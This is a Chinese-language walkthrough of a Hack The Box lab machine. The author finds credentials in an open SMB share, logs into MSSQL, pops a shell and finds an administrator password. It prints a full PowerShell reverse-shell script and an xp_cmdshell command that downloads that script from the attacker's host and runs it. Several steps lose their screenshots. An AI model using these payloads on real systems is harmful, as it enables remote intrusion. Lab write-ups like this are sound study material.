攻略的話在靶場內都有,也有官方的攻略,我作為一個技術小白,只是想把自己的通關過程記錄下來,沒有網站內大佬們寫得好。
准備工作就不過多贅述,如果有不清楚的請點這里(Hack The Box - 如何開始。)
我們獲得了一個IP:
嘗試訪問了一下,應該不存在web頁面:
對常規端口進行一個掃描:
可以看到開啟了445和1433,SMB和SQL Sever的,我們可以嘗試一下是否能夠匿名訪問:(關於smbclient的用法,可以參考這里。)
我們來查看一下backups:
看一下這個文件里有什么:
我們獲得了一個賬號和密碼,推測可能是SQL Sever的,我們可以嘗試一下:
這里我試了很多方法,也嘗試看攻略,但是最終都是失敗了,攻略上使用的是Impacket的mssqlclient.py,但是我在kali中使用的時候就是各種報錯,很奇怪,或許是我不懂得怎么使用得原因,最終我也是使用了Impacket的mssqlclient.py,但是我是在windows上使用的,通過frp在windows和kali之間建立隧道,以達到windows能夠訪問靶場的目的,如果大家有其他的辦法,方便的話請告訴我,我也想學習學習。
使用proxifier代理:
到這里,我們可以試試反彈shell:(將這個代碼寫入到一個文件內,后綴是.ps1,這里用的是powershell的反彈shell)
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.45",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data= (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
這里寫自己的IP,掛上VPN之后,我們會有一個,就寫這個:
在存放這個文件的目錄內用python開一個服務:
再開一個窗口,開一個監聽:(端口設置剛才代碼里寫的那個)
在SQL Sever 中輸入以下代碼,反彈shell成功:
EXEC xp_cmdshell 'echo IEX (New-Object Net.WebClient).DownloadString("http://10.10.16.45/shell.ps1") | powershell -noprofile'
接下來就是翻找flag:(就在這里)
這里還有另一個寶貝:(是一個administrator的密碼,遠程連接)
遠程連接直接上,因為靶機沒有開3389,所以我們利用Impacket里的psexec.py:
另一個flag:
到此,就結束啦。